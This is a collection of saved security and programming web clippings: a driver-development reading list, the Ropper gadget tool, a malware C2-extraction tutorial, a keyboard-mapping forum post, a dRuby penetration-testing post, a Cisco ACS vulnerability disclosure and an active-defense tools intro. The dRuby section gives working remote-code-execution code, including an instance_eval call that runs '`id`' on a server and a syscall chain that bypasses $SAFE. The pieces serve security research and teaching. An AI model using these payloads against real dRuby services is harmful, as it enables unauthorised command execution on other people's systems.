  
Driver Development Part 1: Introduction to Drivers  
http://www.codeproject.com/KB/system/driverdev.aspx  
Driver Development Part 2: Introduction to Implementing IOCTLs  
http://www.codeproject.com/KB/system/driverdev2.aspx  
Driver Development Part 3: Introduction to driver contexts  
http://www.codeproject.com/KB/system/driverdev3.aspx  
Driver Development Part 4: Introduction to device stacks  
http://www.codeproject.com/KB/system/driverdev4asp.aspx  
Driver Development Part 5: Introduction to the Transport Device Interface  
http://www.codeproject.com/KB/system/driverdev5asp.aspx  
Driver Development Part 6: Introduction to Display Drivers  
http://www.codeproject.com/KB/system/driverdev6asp.aspx  
  
It's really important to put in evicence MemoryManagement at KernelMode, the
best starting point for these aspects are tutorials written by four-f;  
  
http://www.freewebs.com/four-f/  
  
Handling IRPs: What Every Driver Writer Needs to Know  
http://download.microsoft.com/download/ ... a/IRPs.doc  
  
Book Resources  
  
Tutorial are a great starting point, but a solid understanding is given by a
set of 'abstracts', emerges the necessity of a good Book Collection:  
  
Windows NT Device Driver Development \(OSR Classic Reprints\)  
http://www.amazon.com/Windows-Device-De ... 242&sr=8-2  
  
Windows®-Internals-Including-Windows-PRO-Developer  
http://www.amazon.com/Windows%C2%AE-Int ... 160&sr=8-1  
  
The Windows 2000 device driver book: a guide for programmers  
http://www.amazon.com/Windows-2000-Devi ... 0130204315  
  
Windows NT/2000 Native API Reference  
http://www.amazon.com/Windows-2000-Nati ... 201&sr=8-1  
  
Undocumented Windows 2000 Secrets  
http://undocumented.rawol.com/  
  
Developing Drivers with WDF  
http://www.microsoft.com/whdc/driver/wdf/wdfbook.mspx  
  
Windows NT File System Internals, A Developer's Guide  
http://oreilly.com/catalog/9781565922495  
  
Web Resources  
  
The first and most important resource about Windows Driver Development is
OSROnline:  
  
http://www.osronline.com/  
  
I strongly suggest you to subscribe:  
  
1\. The NT Insider  
2\. NTDEV MailingList  
3\. NTFSD MailingList  
  
NDIS Developer's Reference  
http://www.ndis.com/  
  
Information, Articles, and Free Downloads  
http://www.hollistech.com/resources.htm  
  
The Undocumented Functions  
http://undocumented.ntinternals.net  
  
Blog MSDN  
http://blogs.msdn.com/iliast  
  
Windows Vista Kernel Structures  
http://www.nirsoft.net/kernel\_struct/vista/  
  
Peter Wieland's thoughts on Windows driver development  
http://blogs.msdn.com/b/peterwie/  
  
USB Driver Development  
http://blogs.msdn.com/b/usbcoreblog/  
  
Hardware and Driver Developer Blogs  
http://www.microsoft.com/whdc/resources/blogs.mspx  
  
Developer Newsgroups  
• microsoft.public.development.device.drivers  
• microsoft.public.win32.programmer.kernel  
• microsoft.public.windbg  
  
KernelmodeInfo Blog  
CURRENT\_IRQL <img src='img/Temp2_4785.gif' alt=':-)' />  
  
j00ru//vx tech blog Coding, reverse engineering, OS internals Blog  
http://j00ru.vexillium.org/  
  
Nynaeve  
http://www.nynaeve.net/  
  
DumpAnalysis Blog  
http://www.dumpanalysis.org/  
  
Analyze -v Blog  
http://analyze-v.com/  
  
Instant Online Crash Dump Analysis  
http://www.osronline.com/page.cfm?name=analyze  
  
Winsock Kernel \(WSK\)  
http://msdn.microsoft.com/en-us/library/ff571084.aspx  
  
Transport Driver Interface \(TDI\)  
http://msdn.microsoft.com/en-us/library/ms819740.aspx  
  
Network Driver Interface Specification \(NDIS\)  
http://blogs.msdn.com/b/ndis/  
  
System Internals  
http://www.microsoft.com/whdc/system/Sysinternals/default.mspx  
  
Driver development needs too many time patience and experience to be fully
understood, in my opinion the best approach remains LbD \( Learning by Doing
\) so, read, study and develop as many experience you build less BSODs and
"trange behavior" you will obtain <img src='img/Temp2_4785.gif' alt=':)' />

# Ropper - rop gadgets finder and binary information tool

**Created:**| _9/3/2014 9:47:31 AM_  
---|---  
**Updated:**| _9/3/2014 9:47:31 AM_  
**Author:**| __  
**Tags:**| __  
  

#  Ropper – rop gadgets finder and binary information tool

/ 31.08.2014 / sashs /

With ropper you can show information about files in different file formats and
you can search for gadgets to build rop chains for different architectures.
For disassembly ropper uses the awesome Capstone Framework.

Ropper was inspired by ROPgadget, but should be more than a gadgets finder. So
it is possible to show information about a binary like header, segments,
sections etc. Furthermore it is possible to edit the binaries and edit the
header fields. Until now you can set the aslr and nx flags.

| usage: ropper.py \[-h\] \[-v\] \[--console\] \[-f <file>\] \[-i\] \[-e\]
\[--imagebase\] \[-c\] \[-s\] \[-S\] \[--imports\] \[--symbols\] \[--set
<option>\] \[--unset <option>\] \[-I <imagebase>\] \[-p\] \[-j <reg>\]
\[--depth <n bytes>\] \[--search <regex>\] \[--filter <regex>\] \[--opcode
<opcode>\] \[--type <type>\]With ropper you can show information about files
in different file formatsand you can search for gadgets to build rop chains
for different architectures.supported filetypes:supported architectures:
x86\_64optional arguments: -h, --help show this help message and exit -v,
--version Print version \--console Starts interactive commandline -f <file>,
--file <file> The file to load -i, --info Shows file header \[ELF/PE\] -e
Shows EntryPoint \--imagebase Shows ImageBase \[ELF/PE\] -c,
--dllcharacteristics Shows DllCharacteristics \[PE\] -s, --sections Shows file
sections \[ELF/PE\] -S, --segments Shows file segments \[ELF\] \--imports
Shows imports \[ELF/PE\] \--symbols Shows symbols \[ELF\] \--set <option> Sets
options. Available options: aslr nx \--unset <option> Unsets options.
Available options: aslr nx -I <imagebase> Uses this imagebase for gadgets -p,
--ppr Searches for 'pop reg; pop reg; ret' instructions \[only x86/x86\_64\]
-j <reg>, --jmp <reg> Searches for 'jmp reg' instructions \(-j
reg\[,reg...\]\) \[only x86/x86\_64\] \--depth <n bytes> Specifies the depth
of search \(default: 10\) \--search <regex> Searches for gadgets \--filter
<regex> Filters gadgets \--opcode <opcode> Searches for opcodes \--type <type>
Sets the type of gadgets \[rop, jop, all\] \(default:example uses: \[Generic\]
ropper.py ropper.py --file /bin/ls --console \[Informations\] ropper.py --file
/bin/ls --info ropper.py --file /bin/ls --imports ropper.py --file /bin/ls
--sections ropper.py --file /bin/ls --segments ropper.py --file /bin/ls --set
nx ropper.py --file /bin/ls --unset nx \[Gadgets\] ropper.py --file /bin/ls
--depth 5 ropper.py --file /bin/ls --search "sub eax" ropper.py --file /bin/ls
--filter "sub eax" ropper.py --file /bin/ls --opcode ffe4 ropper.py --file
/bin/ls --type jop ropper.py --file /bin/ls --ppr ropper.py --file /bin/ls
--jmp esp,eax ropper.py --file /bin/ls --type jop  
---|---  
## Download

https://github.com/sashs/Ropper \(v1.0.1, 01.09.2014\)

## Changelog

| v1.0.1 - Bugfix: Error-Message if you try to set ASLR on elf files  
---|---  
##  Screenshots

<img src='img/Temp2_7067.jpg' alt='rop gadget output' />

rop gadget output

<img src='img/Temp2_7068.jpg' alt='jmp instruction output' />

jmp instruction output

<img src='img/Temp2_7066.jpg' alt='opcode search output' />

opcode search output

# DDoS & Security Reports » MindshaRE: Statically Extracting Malware C2s Using
Capstone Engine

**Created:**| _10/16/2014 11:07:27 AM_  
---|---  
**Updated:**| _10/16/2014 11:07:27 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis programming_  
  

# MindshaRE: Statically Extracting Malware C2s Using Capstone Engine

By: Jason Jones \- 10/14/2014

It’s been far too long since the last MindshaRE post, so I decided to share a
technique I’ve been playing around with to pull C2 and other configuration
information out of malware that does not store all of its configuration
information in a set structure or in the resource section \(for a nice set of
publicly available decoders check out KevTheHermit’s RATDecoders repository on
GitHub\). Being able to statically extract this information becomes important
in the event that the malware does not run properly in your sandbox, the C2s
are down or you don’t have the time / sandbox bandwidth to manually run and
extract the information from network indicators.

# Intro

To find C2 info, one could always just extract all hostname-/IP-/URI-/URL-like
elements via string regex matching, but it’s entirely possible to end up false
positives or in some cases multiple hostname and URI combinations and
potentially mismatch the information. In addition to that issue, there are
known families of malware that will include benign or junk hostnames in their
disassembly that may never get referenced or only referenced to make false
phone-homes. Manually locating references and then disassembling using a
disassembler \(in my case, Capstone Engine\) can help to verify that you have
found the correct information and avoid any of the junk inserted to throw your
analysis off.

For those not familiar, Capstone Engine is a disassembler written by Nguyen
Anh Quynh that was first released in 2013. The engine has seen a significant
amount of development in that short amount of time and has a good track record
of handling some tricky disassembly. Most importantly, it supports most
popular programming languages, including Python – my current programming
language of choice. One complaint I have with using an on-the-fly disassembler
is the lack of symbols, but that can be gotten around by taking the list of
imports and addresses from pefile and then checking any memory references
against it. All of the PoCs presented expect an image base of 0×400000, but
for any production use the actual image base should be parsed out and
replaced.

# Example: Backoff PoS Malware

Backoff is a recently discovered PoS malware family. I noticed that many of
the times the malware was sandboxed, it would not communicate with a C2, but I
could see the C2 info in plain-text in the binary or other times when the C2
was down.

<img src='img/Temp2_1808.png' alt='Backoff C2 Plain-Text' />

Backoff C2 Plain-Text

In an attempt to “correctly” locate the C2 information and utilize some
Capstone-fu, I crafted a function that first locates hostname- or IP-like
strings in the binary, looks for a “mov \[register+offset\]/<addr> addr”
pattern, and then uses capstone to disassemble to obtain the other
configuration elements.

<img src='img/Temp2_1809.png' alt='Backoff ASM Code to load C2' />

Backoff ASM Code to load C2

This ends up being useful, since the argument order is not necessarily the
same. This doesn’t work for all versions, but does work for most – I have
encountered a number that are using a VisualBasic injector or are using an
array structure to store the config so the below code will not work. This can
be coupled with another piece of code that searches for version-like strings
and then disassembles to find the additional campaign name attached to the
binary. The code should check to see if a\) host,port, URI are defined after
the loop and b\) if the number of mov instructions encountered before the call
was 3. The number of mov’s ends up being important since my code starts with
the hostname and the arguments are not always encountered in the same order.
If the mov’s are less than 3, then I jump back the appropriate number of mov’s
via regex search and then walk the disassembly again to see if I encounter the
expected configuration data. This will also help find the backup domains and
URLs that are embedded in the malware that may not be seen during a sandbox
run even if there is successful communication to the C2. The code is quick and
dirty and can easily be improved by validating some common instructions seen
in between, but is presented as-is for this example:

[code]

        md = Cs(CS_ARCH_X86, CS_MODE_32)
        md.detail = True
        movs = 0
        host = None
        uri = None
        port = None
        for insn in md.disasm(code, 0x1000):
            if insn.mnemonic == 'mov':
                movs += 1
                if insn.operands[1].type == X86_OP_IMM:
                    v = insn.operands[1].value.imm.real
                    if v < 65536:
                        port = v
                    else:
                        x = self.get_string(file,v-0x400000)
                        if URI_REGEX.match(x): uri = x
                        elif DOMAIN_REGEX.match(x): host = x
                        elif IP_REGEX.match(x): host = x
             elif insn.mnemonic == 'call': break 
             if movs == 3: break 
    
[/code]

# Example: Alina PoS Malware

Alina is a PoS malware family that has been around for awhile. Similar to
Backoff, I noticed that many of the sandbox runs did not successfully
communicate with the malware when the configuration was viewable.

<img src='img/Temp2_1812.png' alt='Alina C2 Strings' />

Alina C2 Strings

I used a similar process to what I did with Backoff to first locate potential
C2 candidates and then search for XREFs and disassemble with capstone. Many
times the C2 is stored is pushed onto the stack followed by instructions
setting local variables and then a subroutine call. Prior to the push of the
C2 and the URI, there is another push that represents the length of the string
and can also be used to validate the sequence. Once again, this is a great
place to utilize capstone to make sure that anything that is extracted matches
up with what is desired.

<img src='img/Temp2_1807.png' alt='Alina ASM to load C2' />

Alina ASM to load C2

This sequence of pushes and calls always seems to be preceded by a call to
InitializeCriticalSection, so I first look for that, using a dict built from
loading the binary into pefile to get at the import table.. The order that the
hostname and the c2 occur in the binary can be flip-flopped, so I allow for
that. I do make sure that the next push after the strlen is a string The code
can be extended further to validate that the strlen matches the string I
extract from the binary, but this is just a PoC <img src='img/Temp2_1810.png'
alt=':)' />

[code]

        for i in md.disasm(CODE, push_len_addr):
            if instr_cnt == 0:
                # check for InitializeCriticalSection
                if i.mnemonic == 'call' and \
                  impts.get(i.operands[0].mem.disp,'') == 'InitializeCriticalSection':
                    print "On the right track..."
                else:
                    break
            elif i.mnemonic == 'push' and i.operands[0].imm < 0x100:
                strlen = i.operands[0].imm
                str_instr = instr_cnt + 1
                print "Found the strlen push",i.mnemonic,i.op_str
            elif strlen and str_instr == instr_cnt and i.mnemonic == 'push':
                addr = i.operands[0].imm
                if addr == 0x400000+file.find(s):
                    print 'found hostname push'
                    hostname = get_string(file,addr-0x400000)
                    print hostname
                else:
                    uri = get_string(file,addr-0x400000)
                    if URI_REGEX.match(uri): print uri
            instr_cnt += 1
[/code]

# Example: DirtJumper Drive

My last example involves a more complex example. Drive stores its most
interesting strings in an encrypted format and does not decrypt all those
strings in the same function \(for more information see my previous blog post
here\), instead scattering the calls throughout the binary. In this example, I
use the encrypted install name – it always starts with the same characters –
to help us locate the decryption function. The decryption function is the
function called right after the call that Xrefs the encrypted install name.

<img src='img/Temp2_1806.png' alt='Drive Install Name XRef' />

Drive Install Name XRef

With the address of the decryption function known, I use the “k=” string used
in the phone-home to help locate the network communication function. This
function is where the C2 information is first decrypted and the C2 and the URI
are the first two things decrypted in this function. The code can then be
walked further down to locate the C2 port, but that code is not shown here.

<img src='img/Temp2_1811.png' alt='Drive C2 decryption' />

Drive C2 decryption

Here’s the first piece of code used to locate the decryption function:

[code]

            mov_addr = '\xb8'+struct.pack("<I",0x400000+file.find(s))
            instr_addr = 0x400000+file.find(mov_addr)
            if instr_addr <= 0x400000:
                mov_addr = '\xba'+struct.pack("<I",0x400000+file.find(s))
                instr_addr = 0x400000+file.find(mov_addr)
    
            # looks for PUSH EBP; MOV EBP, ESP
            func_start = file[:instr_addr-0x400000].rfind('\x55\x8b\xec')
            code = file[func_start:func_start+0x200]
            md = Cs(CS_ARCH_X86, CS_MODE_32)
            md.detail = True
            decrypt_func_next = False
            calls = 0
            for i in md.disasm(code, func_start+0x400000):
                # looking for mov eax, 
                if i.mnemonic == 'mov' and len(i.operands) == 2 \
                  and i.operands[0].type == X86_OP_REG and i.operands[0].reg == X86_REG_EAX \
                  and i.operands[1].type == X86_OP_IMM and i.operands[1].imm >= 0x400000 \
                  and i.operands[1].imm <= 0x500000:
                    d = decrypt_drive(get_string(file,i.operands[1].imm-0x400000))
                    # validate that this is indeed the install name
                    if d.endswith('.exe'):
                        config['install_name'] = d
                        decrypt_func_next = True
                # check for the next call after the install name call
                elif decrypt_func_next and 'install_name' in config \
                  and i.mnemonic == 'call' and calls == 1:
                    config['decrypt_func'] = i.operands[0].imm
                    break
                elif 'install_name' in config and i.mnemonic == 'call':
                    calls += 1
    
    
[/code]

Now that the decryption function has been located, the desired C2 information
can now be located.

[code]

            mov_inst = '\xba'+struct.pack("<I",0x400000+file.find('k='))
            mov_k_addr = 0x400000+file.find(mov_inst)
            # look for PUSH EBP; MOV EBP, ESP
            func_start = file[:instr_addr-0x400000].rfind('\x55\x8b\xec')
            code = file[func_start:func_start+0x200]
            md = Cs(CS_ARCH_X86, CS_MODE_32)
            md.detail = True
            calls = 0
            d = None
            for i in md.disasm(code, func_start + 0x400000):
                # look for mov edx, <addr>
                if i.mnemonic == 'mov' and len(i.operands) == 2 \
                  and i.operands[0].type == X86_OP_REG and i.operands[0].reg == X86_REG_EDX \
                  and i.operands[1].type == X86_OP_IMM and i.operands[1].imm >= 0x400000 \
                  and i.operands[1].imm <= 0x500000:
                    d = get_string(file,i.operands[1].imm-0x400000)
                # if call decrypt_func, then decrypt(d)
                elif i.mnemonic == 'call' and i.operands[0].imm == config['decrypt_func'] and d:
                    # first call is the c2 host/ip
                    if calls == 0:
                        config['host'] = decrypt_drive(d)
                        d = None
                        calls += 1
                    # 2nd call is the URI
                    elif calls == 1:
                        config['uri'] = decrypt_drive(d)
                        d = None
                        break
    
[/code]

# Future Work

Capstone is a useful tool to have in your toolbox and hopefully the PoC code
presented in this post will aid others in the future. For my own future work,
I plan to tighten up the code presented and work on getting code for other
interesting malware families into something that will be suitable to push out
for public release.

# debianforum.de • Thema anzeigen - Apple Keyboard, Xmodmap u. KDE

**Created:**| _11/25/2009 2:30:28 PM_  
---|---  
**Updated:**| _11/25/2009 2:30:33 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

### Apple Keyboard, Xmodmap u. KDE

<img src='img/Temp2_10169.gif' width='11' height='9' alt='Beitrag' />von
**stitch** am 06.04.2006 16:57:36

Hallo Leute,  
  
ich hab mir gestern gestern eine neue Tastatur für meinen PC gekauft.  
Nach langem überlegen hab ich mich für das Apple USB Keyboard mit deutschem
Layout entschieden.  
http://store.apple.com/Apple/WebObjects/germanstore.woa/6084041/wo/6M6ig4DCJOFf3BrIsliuXIJGj1k/1.PSLID?mco=93FE218E&nplm=M9034  
  
Habe folgendes in meiner xorg.conf  
  

CODE: ALLES AUSWÄHLEN

    `Section "InputDevice"  
Identifier "Apple Keyboard"  
Driver "keyboard"  
Option "XkbKeycodes" "macintosh"  
Option "XkbSymbols" "macintosh/de"  
Option "XkbGeometry" "macintosh"  
Option "XkbRules" "xfree86"  
Option "XkbModel" "pc105"  
Option "XkbLayout" "de"  
EndSection`

  
  
Habe ausserdem folgende Xmodmap:  

CODE: ALLES AUSWÄHLEN

    `keycode 182 = XF86Explorer  
keycode 183 = XF86AudioMedia  
keycode 184 = XF86AudioPrev  
keycode 93 = XF86Mail  
keycode 174 = XF86AudioLowerVolume  
keycode 176 = XF86AudioRaiseVolume  
keycode 160 = XF86AudioMute  
keycode 204 = XF86AudioNext  
  
keycode 115 = Alt_L  
keycode 116 = ISO_Level3_Shift  
keycode 113 = Super_R  
keycode 64 = Super_L`

  
  
Damit konnte ich jetzt mit Hilfe Khotkeys allen Sondertasten Aktionen
zuweisen.  
So kann ich jetzt unter KDE mit der Eject Taste wie unter MacOS das CD-Rom
Laufwerk öffen <img src='img/Temp2_10170.gif' alt=':D' />  
  
Ein Problem habe ich aber noch...  
Die codes in der Xmodmap unter der leeren Zeile sollen bewirken, dass die
Apfel-Tasten und die Alt-Tasten ihre Funktionen tauschen.  
  
Die Tasten sind auf der Apple Tastatur im Gegensatz zu einer herkömmlichen PC-
Tastatur nämlich auch vertauscht.  
Wo normalerweise die WIndows Taste sitzt, ist hier Alt und wo normal die Alt-
Taste ist befindet sich hier diese Taste mit dem apple  
  
Das ganze funktioniert soweit eigentlich auch, also die Codes und Labels hab
ich korrekt angegeben für mein Vorhaben.

# dRuby for Penetration Testers | The Recurity Lablog
**Created:**| _5/12/2011 8:27:33 PM_  
---|---  
**Updated:**| _5/12/2011 8:27:33 PM_  
**Author:**| __  
**Tags:**| _ruby pentest scripting_  
  

Main > Archives > 2011 > 05 >  
< 18:06:51

##  Thu May 12 18:06:51 CEST 2011

### dRuby for Penetration Testers

I like Ruby somehow, a nice and shiny programming language. At some point last
year, I decided to have a closer look at 'Distributed Ruby' \(also called
dRuby\). dRuby is all about easily usable objects and method invocations over
the network.

So no long words: let's just drop into some simple dRuby server code:

[code]

    01  require 'drb/drb'
    02  URI="druby://localhost:8787"
    03  class TimeServer
    04    def get_current_time
    05      return Time.now
    06    end
    07  end
    08  FRONT_OBJECT=TimeServer.new
    09  $SAFE = 1 # disable eval() and friends
    10  DRb.start_service(URI, FRONT_OBJECT)
    11  DRb.thread.join
    
[/code]

Lines 03 to 07 define a class **TimerServer** with the method
**get\_current\_time**. All the magic happens in line 10 where the dRuby
service is started along with the **TimeServer** class as exposed Object.
You'll probably have noticed line 09 where it says **$SAFE = 1**. This nifty
variable turns on tainting and _should_ disallow you from calling arbitrary
code on the server side \(that's basically what the documentation says\). No
worries, we'll come back later to circumventing **$SAFE**.

But first, let's look at the client side. Using this service would be as
simple as:

[code]

    01 require 'drb/drb'
    02 SERVER_URI="druby://localhost:8787"
    03 DRb.start_service
    04 timeserver = DRbObject.new_with_uri(SERVER_URI)
    05 puts timeserver.get_current_time
    
[/code]

So here after starting the dRuby service in line 03, and getting a remote
object in line 04, we can simply call methods of that object over the wire.
This is done in line 05. That's all what's needed for a dRuby client.

Now let's start building a more useful client. Namely a scanner for **$SAFE**
being set.

[code]

    01 #!/usr/bin/ruby
    02 require 'drb/drb'
    03
    04 # The URI to connect to
    05 SERVER_URI= ARGV[0]
    06
    07 DRb.start_service
    08 undef :instance_eval
    09 t = DRbObject.new_with_uri(SERVER_URI)
    10 
    11 begin
    12 a = t.instance_eval("`id`")
    13 puts "[*] eval is enabled - you are:"
    14 puts a
    15 rescue  SecurityError => e
    16 puts "[*] sorry, eval is disabled"
    17 rescue  => e
    18 puts "[*] likely not a druby port"
    19 end
    
[/code]

This scanner cheks remotely if the developer forgot to set **$SAFE**. It will
tell you the ID of the user running the dRuby service. Of course you are free
to alter this in order to do more fun stuff with the server, or you could just
use the respective Metasploit module.

But now back from shiny Ruby world to some Bughunting. So: what could possibly
go wrong when pushing serialized objects back and forth on the wire?

My first attempts of poking around in dRuby with **$SAFE** set were as
follows:

[code]

    01 require 'drb/drb'
    02 SERVER_URI="druby://localhost:8787"
    03 DRb.start_service
    04 t = DRbObject.new_with_uri(SERVER_URI)
    05 t.eval("`id`")
    
[/code]

Here in line 05 I tried to call **eval** on the remote object. Unfortunately
this resulted in the following error:

[code]

    NoMethodError: private method `eval' called for #<TimeServer:0xb7821a88>:TimeServer
    
[/code]

During playing around further with dRuby, and looking further into the source,
I found the following piece of code in **drb/drb.rb** :

[code]

        # List of insecure methods.
        #
        # These methods are not callable via dRuby.
        INSECURE_METHOD = [
          :__send__
        ]
    
[/code]

Here, **\_\_send\_\_** gets blacklisted from being called via dRuby. However,
and unfortunately, there's also an existing **send** method, as described in
the Ruby documentation:

[code]

    obj.send(symbol [, args...]) -> obj
    obj.__send__(symbol [, args...]) -> obj
    
    Invokes the method identified by symbol, passing it any arguments specified. 
    You can use __send__ if the name send clashes with an existing method in obj. 
    
[/code]

This very **send** method should give us the ability to call private methods
on the object as follows:

[code]

    t.send(:eval, "`id`")
    
[/code]

This somehow worked but we run into another error:

[code]

    SecurityError: Insecure operation - eval
    
[/code]

I tried various functions taken from the class Object and the Kernel module;
but all interesting functions were caught by a SecurityError. _Wait a minute,
really all of them?_ No, one little function was still willing to execute -
and that function is **syscall**. So basically, we get free remote syscalls on
the server side. When I reported this to the dRuby author, turns out, tainting
\(which causes the SecurityError\) was forgotten for syscalls.

In order to exploit this issue properly, we need a rather simple combination
of syscalls to gain arbitrary command execution:

  * **open\(\)** or **creat\(\)** a file with permissions 777
  * **write\(\)** some Ruby code to it
  * **close\(\)** the file
  * **fork\(\)** so that the dRuby service keeps running
  * **execve\(\)** the just created file

This nice combo of syscalls is implemented in the Metasploit module as well.
Alors\! go out and play with it :\)

If you take a closer look at the Metasploit module, you'll see a neat little
trick i came up with: At first, when connecting, it's not possible to decide
whether we are on a 32 Bit or 64 Bit target system. Additionally the syscall
numbers are different for those two versions of Linux. So i choose syscall 20,
which is **getpid\(\)** on 32bit systems, on 64bit systems it's syscall
**writev\(\)**. So when we call this syscall with no arguments, it should
succeed on 32bit systems. On 64bit systems, it will raise an error due to
missing arguments. We can then catch this error and use our 64bit syscall
numbers.

Thanks at this point go out to two Metasploit guys: bannedit who poked me to
put together an all-in-one exploit, and egypt who improved the instance\_eval
payload.

Last but not least, a short disclaimer: Both aforementioned modules might not
work as exepected on different Ruby versions, as some of these have been
patched \(by turning on tainting\), and some won't have syscall implemented at
all. The modules have been tested and found to work with the exploit with the
following versions or Ruby: Ruby 1.8.7 patchlevel 249; Ruby 1.9.0; Ruby 1.9.1
patchlevel 378 \(all running on Linux 32 Bit systems\). Tested as well and
found vulnerable has been the 64 Bit version on Ubuntu 10.10 with both ruby1.8
and ruby1.9 packages.

# Open Security Research: Remote Code Execution on Wired-side Servers over
Unauthenticated Wireless

**Created:**| _8/14/2013 1:06:38 PM_  
---|---  
**Updated:**| _8/14/2013 1:06:38 PM_  
**Author:**| __  
**Tags:**| _cisco network-security iOS auth_  
  

# **S** ome Background Info****

IEEE 802.1x  is a standard that describes a way to authenticate users before
they "connect" to a network**.** This happens at layer 2, before the system is
assigned an IP address**.** Basically, the connecting system \(supplicant\)
communicates via a switch or access point \(authenticator\) to a back end
RADIUS  server \(authentication server\)**.** The supplicant and
authentication server communicate using EAP  to exchange authentication
messages**.** If all goes well and the user is properly authenticated, the
Authentication server sends an "EAP-Success" which prompts the authenticator
to allow the user onto the network**.**  
  
In wired networks, this all happens after the user plugs in their Ethernet
cable, while in wireless networks implementing WPA Enterprise, this happens
after the standard 802**.** 11 session establishment.

<img src='img/Temp2_5851.jpg' />

The bottom line is that in both wired and wireless networks the
unauthenticated user communicates with the authentication server**.**

# Vulnerability Details****

Probably the most important thing to point out is that the remote code
execution vulnerability I discovered is in an **older version** of Cisco
Secure Access Control Server \(ACS\) **.** It's possible that it may be
present in newer versions which Cisco is investigating under case
PSIRT-1771844416 and bugID CSCui57636**.**  
  
The vulnerability can be triggered before the user is authenticated, which
means that in the case of a wireless network running WPA Enterprise, an
attacker just needs to be in the physical proximity of the wireless network to
fully compromise the ACS server**.**  
  
Although there is a communication channel between the attacker and the
authentication server when the vulnerability is triggered, it's very difficult
to leverage this channel as part of post-exploitation activities**.** It's
more realistic that an attacker would use this vulnerability to establish an
reverse shell back via the internet**.** It may also be possible to redirect
the execution flow to result in an "EAP-Success" message \(or countless other
functions\)**.** The video above simply demonstrates code execution**.** Note
that in the video the presence of the wired connection between the
authentication server and the attacker is there to show the observer path
\(how the video was recorded\) and the potential reverse shell path; in the
case of WPA Enterprise, no wired access is required by the attacker to exploit
the vulnerability**.**

<img src='img/Temp2_5852.jpg' />

## Impact****

Besides the obvious impact concerns \(e**.** g. system compromise\),
authentication servers are particularly sensitive systems. They're usually on
privileged network segments, integrated with Active Directory, and can be
responsible for VPN authentication**.** ACS in particular also supports TACACS
which could allow an attacker to compromise network devices such as routers,
switches and firewalls**.** For an attacker, compromising the authentication
server is a very strong foothold into the environment**.**

# Further Information****

As mentioned, Cisco is currently investigating this vulnerability**.** They've
been provided a full working exploit and have been extremely responsive and
accommodating thus far**.** The exploit or any further details will not be
publicly released until Cisco has had enough time to determine the full extent
of the vulnerability**.** Stay tuned**\!**

### Follow me on twitter - @brad\_anton****

****

# HolisticInfoSec: C3CM: Part 3 – ADHD: Active Defense Harbinger Distribution

**Created:**| _1/15/2014 9:36:15 PM_  
---|---  
**Updated:**| _1/15/2014 9:36:15 PM_  
**Author:**| __  
**Tags:**| _Linux Defense_  
  

# **C** 3CM: Part 3 – ADHD: Active Defense Harbinger Distribution****

**Prerequisites**

Linux OS –Ubuntu Desktop 12**.** 04 LTS discussed herein

**Introduction**

In Parts 1 & 2 of our C3CM discussion covered the _identify_ and _interrupt_
phases of the process I’ve defined as an effort to _identify, interrupt, and
counter the command, control, and communications capabilities of our digital
assailants**.**_ In Part 3 I’m going to cover…hey, a squirrel**\!** J In this,
the final part of our series, I’ll arm you for the _interrupt_ phase with
ADHD…no, not that; rather, it’s the Active Defense Harbinger Distribution**.**
You know how I know I have ADHD? My wife asked me for a glass of water and I
made myself coffee instead**.** Wait, maybe that’s just selfish…er, nevermind.

I hope you’ve enjoyed utilizing Nfsight with Nfdump, Nfsen, and fprobe for our
_identification_ phase and BroIDS \(Bro\), Logstash, and Kibana as part of our
_interrupt_ phase**.** But I have to say, I think the fun really kicks in here
when we consider how to _counter_ our ne’er-do-well denizens of digital
destruction**.** We’ll install the ADHD scripts on the C3CM Ubuntu system
we’ve been building in Parts 1 and 2 but, much as you could have performed the
_interrupt_ phase using Doug Burk’s Security Onion \(SO\), you could download
the full ADHD distribution  and take advantage of it in its preconfigured
splendor to conduct the _counter_ phase**.** The truth of the matter is that
running all the tools we’ve implemented during this C3CM campaign on one VM or
physical machine, all at the same time, would be silly as you’d end up with
port contention and resource limitations**.** Consider each of the three
activities \(identify, interrupt, and counter\) as somewhat exclusive**.**
Perhaps, clone three copies of the C3CM VM once we’re all finished and conduct
each phase uniquely or simply do one at a time**.** The ADHD distribution
\(absolutely download it and experiment in addition to this activity\) is
definitely convenient and highly effective but again, I want you to continue
developing your Linux foo, so carry on in our C3CM build out**.**

John Strand and Ethan Robish are the ADHD project leads, and Ethan kindly gave
us direct insight into the project specific to the full distribution:

"_ADHD is an ongoing project that features many tools to counter an attacker's
ability to exploit and pivot within a network**.** Tools such as Honey Badger,
Pushpin, Web Bug Server, and Decloak provide a way of identifying an
attacker's remote location, even if he has attempted to hide it**.**
Artillery, Nova, and Weblabyrinth, along with a few shell scripts provide
honeypot-like functionality to confuse, disorient, and frustrate an
attacker**.** And then there are the well-known tools that help the good guys
turn the tables on the attacker: the Social Engineering Toolkit \(SET\), the
Browser Exploitation Framework \(BeEF\), and the Metasploit Framework
\(MSF\)**.**_

_Future plans for the project include the typical updates along with the
addition of new tools**.** Since the last release of ADHD, there has been some
interesting research done by Chris John Riley on messing with web
scanners**.** His preliminary work was included with ADHD 0.5.0 but his new
work will be better integrated and documented with the next release of
ADHD**.** We also plan to dive more into the detection of people that try to
hide their identities behind proxies and other anonymizing measures**.**
Further down the line you may see some big changes to the underlying
distribution itself**.** We have started on a unified web control interface
that will allow users of ADHD to control the various aspects of the system, as
well as begun exploring how to streamline installation of both ADHD itself and
the tools that are included**.** Our goal is to make it as simple as possible
to install and configure ADHD to run on your own network**.**_ "

Again, we’re going to take, Artillery, Beartrap, Decloak, Honey Badger, Nova,
Pushpin, Spidertrap, Web Bug Server, and Weblabyrinth and install them on our
C3CM virtual machine as already in progress per Parts 1 and 2 of the
series**.** In addition to all of Ethan’s hard work on Spidertrap, Web Bug
Server, and Weblabyrinth, it’s with much joy that I’d like to point out that
some of these devious offerings are devised by old friends of toolsmith**.**
Artillery is brought to you by TrustedSec. TrustedSec is brought to you by
Dave Kennedy \(@dave\_rel1k\)**.** Dave Kennedy brought us Social-Engineer
Toolkit \(SET\) in February 2013 and March 2012 toolsmiths**.** Everyone loves
Dave Kennedy.

Honey Badger and Pushpin are brought to you by @LaNMaSteR53**.** LaNMaSteR53
is Tim Tomes, who also works with Ethan and John at Black Hills Information
Security**.** Tim Tomes brought us Recon-ng in May 2013’s toolsmith**.** Tim
Tomes deserves a hooah. Hooah\! The information security community is a small
world, people**.** Honor your friends, value your relationships, watch each
other’s backs, and praise the good work every chance you get**.**

Let’s counter, shall we?

